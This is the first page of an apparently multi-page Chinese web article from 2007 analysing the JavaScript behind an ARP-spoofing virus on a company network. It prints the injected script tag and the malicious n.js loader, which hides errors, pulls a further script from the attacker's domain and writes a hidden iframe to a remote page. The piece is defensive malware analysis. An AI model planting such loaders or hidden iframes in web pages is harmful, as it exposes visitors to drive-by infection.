分析：arp病毒利用的Javascript技术

日期：2007年11月4日作者：查看:[大字体中字体小字体]

本文的目的是探讨JS相关技术，并不是以杀毒为主要目的，杀毒只是为讲解一些JS做铺垫的，呵呵，文章有点长，倒杯咖啡或者清茶慢慢看，学习切勿急躁！

最近公司的网络中了这两天闹的很欢的ARP病毒，导致大家都无法上网，给工作带来了很大的不方便，在这里写下杀毒的过程，希望对大家能有帮助！

现象：

打开部分网页显示为乱码，好像是随机的行为，但是看似又不是，因为它一直在监视MSN.com，呵呵，可能和微软有仇吧，继续查看源代码，发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>；

来源：

经过一番网络搜索，发现这个域名是印度域名，而IP地址却是美国的，而且域名的注册日期是7月25日，看来一切都是预谋好了的，还是不管这个了，先解决问题吧；

分析：

1、先把（http://9-6.in/n.js）这个JS文件下载下来，代码如下：

    document.writeln("<script>window.onerror=function(){return true;}<\/script>");
    document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
    document.writeln("<script>");
    document.writeln("function StartRun(){");
    document.writeln("var Then = new Date() ");
    document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
    document.writeln("var cookieString = new String(document.cookie)");
    document.writeln("var cookieHeader = \"Cookie1=\" ");
    document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
    document.writeln("if (beginPosition != -1){ ");
    document.writeln("} else ");
    document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;eXPires=\"+ Then.toGMTString() ");
    document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
    document.writeln("}");
    document.writeln("}");
    document.writeln("StartRun();");
[1] [2] [3] [4] [5] [6] [7] [8] 下一页
分析：arp病毒利用的Javascript技术相关文章：
·vista分区软件
·关于三级片和Ａ片的区分标准
·校园网网络方案设计及分析
·计算机一级B考试试题分析
·Linux操作系统源代码详细分析
·主板各部分图解
·联讯证券同花顺软件分析系统使用
·求职面试自我介绍一分钟
·一个Struts实现分页,增删改查,Tiles,国际化的DEMO
·装VISTA的分区要多大?
分析：arp病毒利用的Javascript技术相关软件
·视频分割专家 V5.83
·龙卷风基金投资分析系统
·蓝光影音Mp3分割器 V1.60
·同花顺证券行情分析软件(同花顺)2007 V4.40.12
·大智慧level2行情分析系统 V2.1
·大福星行情分析系统 V1.52
·大智慧新一代高速行情分析系统(Internet) V2.05.07.0208
·木马分析专家2007V9.49 Build 1226
·五分之庭
·科来网络分析系统 V6.5

上一篇:设计理论：微软设计主管一些经验分享

下一篇:巧用改变跟踪技术加速Oracle的递增备份

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

分析：arp病毒利用的Javascript技术

精品推荐

热点TOP10

特别推荐